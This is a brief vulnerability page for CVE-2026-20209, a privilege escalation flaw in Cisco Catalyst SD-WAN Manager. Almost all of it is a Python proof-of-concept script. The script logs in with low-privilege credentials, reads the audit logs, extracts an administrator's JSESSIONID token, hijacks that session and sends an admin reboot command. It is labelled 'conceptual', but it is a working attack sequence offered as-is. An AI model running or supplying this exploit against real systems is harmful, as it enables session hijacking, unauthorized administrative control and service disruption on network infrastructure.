CVE-2026-20209 Cisco Catalyst SD-WAN Manager权限提升漏洞

import requests # Conceptual Proof of Concept for CVE-2026-20209 # This script simulates an attacker exploiting log leakage to escalate privileges. target_url = "https://<target-ip>/" login_url = f"{target_url}j_security_check" audit_log_url = f"{target_url}dataservice/audit/auditlog" admin_action_url = f"{target_url}dataservice/admin/action" # Attacker's low-privileged credentials low_user = "readonly_user" low_pass = "password123" session = requests.Session() # Step 1: Authenticate with low privileges print("[+] Attempting login with low privileges...") login_data = {"j_username": low_user, "j_password": low_pass} response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Login failed.") exit() # Step 2: Access Audit Logs to find sensitive session info print("[+] Fetching audit logs...") response = session.get(audit_log_url) logs = response.json() # Step 3: Parse logs for high-privileged session token (Conceptual extraction) # Assuming the log contains a field 'admin_token' or similar sensitive data high_priv_token = None for entry in logs: if "admin" in entry.get("user", "").lower() and "JSESSIONID" in entry.get("details", ""): # Extract sensitive token from log details high_priv_token = entry["details"].split("JSESSIONID=")[1].split(" ")[0] print(f"[+] Found high-privileged token in logs: {high_priv_token[:10]}...") break if not high_priv_token: print("[-] Could not find token in logs.") exit() # Step 4: Escalate Privileges by using the extracted token print("[+] Attempting to perform admin action...") session.cookies.set("JSESSIONID", high_priv_token) # Overwrite current session # Perform an action that requires high privileges admin_response = session.post(admin_action_url, json={"action": "reboot"}) if admin_response.status_code == 200: print("[+] Privilege escalation successful! Action performed.") else: print("[-] Action failed.")